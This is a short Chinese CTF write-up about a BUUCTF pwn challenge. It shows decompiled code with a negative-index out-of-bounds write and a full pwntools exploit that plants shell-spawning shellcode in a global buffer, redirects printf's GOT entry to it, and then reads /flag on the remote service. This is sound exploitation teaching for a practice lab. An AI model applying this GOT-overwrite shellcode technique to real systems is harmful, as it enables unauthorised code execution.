一个简单的摸黑越界

程序没开PIE，还有rwx段（BUU上给的题在本地调起时，rwx段是不对的，本地是栈可执行，远程是bss可执行，不是一次两次了，所以只能摸黑干）

漏洞也很简单：

  printf("Select the index of goods: ");fflush(stdout);__isoc99_scanf("%d", &v1);if ( v1 <= 4 )                                // 向下越界，－4可修改GOT表printf,fflush,,strcpy{fflush(stdin);printf("Input the name: ");fflush(stdout);buf[0] = 0;buf[1] = 0;v5 = 0;read(0, buf, 9u);*((_BYTE *)buf + strlen((const char *)buf) - 1) = 0;strcpy(&sd[16 * v1 - 16], (const char *)buf);printf("Input the number: ");

这里对v1检查是未检查负数的情况，向上-2到－4时会指到got表。

这样一进入的时候写段shellcode然后把got表中一项指向userName就行了。这里strcpy后就有一个printf所以用-4修改这个got表。注意这里要加个回车，因为会将最后一个字符转为0

from pwn import *p = remote('node4.buuoj.cn', 27395) 
elf = ELF('./pwn')
context(arch='i386', log_level='debug')p.sendlineafter(b"Welcome,input your name:\n", asm(shellcraft.sh()))
p.sendlineafter(b"Choose ", b'2')
p.sendlineafter(b"Select the index of goods: ", b'-4')
p.sendlineafter(b"Input the name: ", p32(elf.sym['userName']))
p.sendline(b'cat /flag')
p.interactive()